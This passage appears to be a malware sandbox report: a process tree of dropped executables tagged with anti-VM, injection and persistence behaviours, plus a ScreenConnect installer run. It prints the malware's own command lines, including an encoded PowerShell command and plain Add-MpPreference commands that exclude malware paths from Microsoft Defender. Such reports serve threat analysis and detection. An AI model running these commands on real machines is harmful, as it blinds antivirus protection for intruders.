        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xe0,0x108,0x7ffa79ef46f8,0x7ffa79ef4708,0x7ffa79ef4718
        7⤵
        
        PID:3420
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
        7⤵
        
        PID:2348
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2196
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2968 /prefetch:8
        7⤵
        
        PID:4276
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        7⤵
        
        PID:4792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
        7⤵
        
        PID:1444
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4156 /prefetch:1
        7⤵
        
        PID:6872
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5192 /prefetch:1
        7⤵
        
        PID:6932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3400 /prefetch:8
        7⤵
        
        PID:2144
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3400 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4472
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
        7⤵
        
        PID:1404
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,18415352954996756863,5402910621282789749,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
        7⤵
        
        PID:1052
  - - C:\Users\Admin\AppData\Local\Temp\1017680001\ga70pjP.exe
      "C:\Users\Admin\AppData\Local\Temp\1017680001\ga70pjP.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4040
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
        5⤵
        Enumerates connected drives
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1572
  - - C:\Users\Admin\AppData\Local\Temp\1017763001\INOKWGC.exe
      "C:\Users\Admin\AppData\Local\Temp\1017763001\INOKWGC.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:756
  - - C:\Users\Admin\AppData\Local\Temp\1017855001\8ZVMneG.exe
      "C:\Users\Admin\AppData\Local\Temp\1017855001\8ZVMneG.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2036
    - - C:\Users\Admin\AppData\Local\Temp\1017855001\8ZVMneG.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1017855001\8ZVMneG.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3920
  - - C:\Users\Admin\AppData\Local\Temp\1017916001\UZAj8wc.exe
      "C:\Users\Admin\AppData\Local\Temp\1017916001\UZAj8wc.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4800
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADEANwA5ADEANgAwADAAMQBcAFUAWgBBAGoAOAB3AGMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADEANwA5ADEANgAwADAAMQBcAFUAWgBBAGoAOAB3AGMALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEEAcABwAHIAbwB4AGkAbQBhAHQAZQBTAGkAegBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEEAcABwAHIAbwB4AGkAbQBhAHQAZQBTAGkAegBlAC4AZQB4AGUA
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:7432
  - - C:\Users\Admin\AppData\Local\Temp\1018024001\5a62c071f4.exe
      "C:\Users\Admin\AppData\Local\Temp\1018024001\5a62c071f4.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3240
  - - C:\Users\Admin\AppData\Local\Temp\1018347001\d66c231894.exe
      "C:\Users\Admin\AppData\Local\Temp\1018347001\d66c231894.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6312
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6312 -s 576
        5⤵
        Program crash
        
        PID:7296
  - - C:\Users\Admin\AppData\Local\Temp\1018348001\7f1924baed.exe
      "C:\Users\Admin\AppData\Local\Temp\1018348001\7f1924baed.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6724
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath "C:\yhtcx"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:7316
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:7256
    - - C:\yhtcx\080887dc756349b8bc67f7bf6ae62975.exe
        
        "C:\yhtcx\080887dc756349b8bc67f7bf6ae62975.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:7748
  - - C:\Users\Admin\AppData\Local\Temp\1018349001\913bb4f0e3.exe
      "C:\Users\Admin\AppData\Local\Temp\1018349001\913bb4f0e3.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:6972
    - - C:\Users\Admin\AppData\Local\Temp\1018349001\913bb4f0e3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018349001\913bb4f0e3.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:7500
  - - C:\Users\Admin\AppData\Local\Temp\1018350001\40b7c333b5.exe
      "C:\Users\Admin\AppData\Local\Temp\1018350001\40b7c333b5.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:7332
  - - C:\Users\Admin\AppData\Local\Temp\1018351001\09d92617f8.exe
      "C:\Users\Admin\AppData\Local\Temp\1018351001\09d92617f8.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:6812
    - - C:\Users\Admin\AppData\Local\Temp\1018351001\09d92617f8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018351001\09d92617f8.exe"
        5⤵
        
        PID:8256
    - - C:\Users\Admin\AppData\Local\Temp\1018351001\09d92617f8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018351001\09d92617f8.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8280
  - - C:\Users\Admin\AppData\Local\Temp\1018352001\30cad20604.exe
      "C:\Users\Admin\AppData\Local\Temp\1018352001\30cad20604.exe"
      4⤵
      Enumerates VirtualBox registry keys
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:1044
  - - C:\Users\Admin\AppData\Local\Temp\1018353001\c26b1a3b0d.exe
      "C:\Users\Admin\AppData\Local\Temp\1018353001\c26b1a3b0d.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:6832
  - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
      "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5556
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6652
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:1436
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:1120
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:8052
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:3480
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7104
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7156
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5616
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6976
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7452
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6376
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7352
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5240
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:1348
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7820
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6972
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:1340
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7976
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7984
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5984
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6596
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6708
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6196
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7928
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5836
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7916
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7996
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:1360
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5288
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6548
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6048
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5708
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5492
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:6104
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:5764
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:3520
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        Executes dropped EXE
        
        PID:7112
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5644
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7252
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7384
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6952
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6904
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7952
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5664
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6528
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6072
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5920
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7464
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7444
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7572
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7276
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:3708
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6212
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5472
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6948
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7116
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5396
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6444
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7176
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5244
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7344
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6852
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7636
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7028
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:6788
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5212
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:7936
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
        
        PID:5596
    - - C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1018354001\fc5bb9c37e.exe"
        5⤵
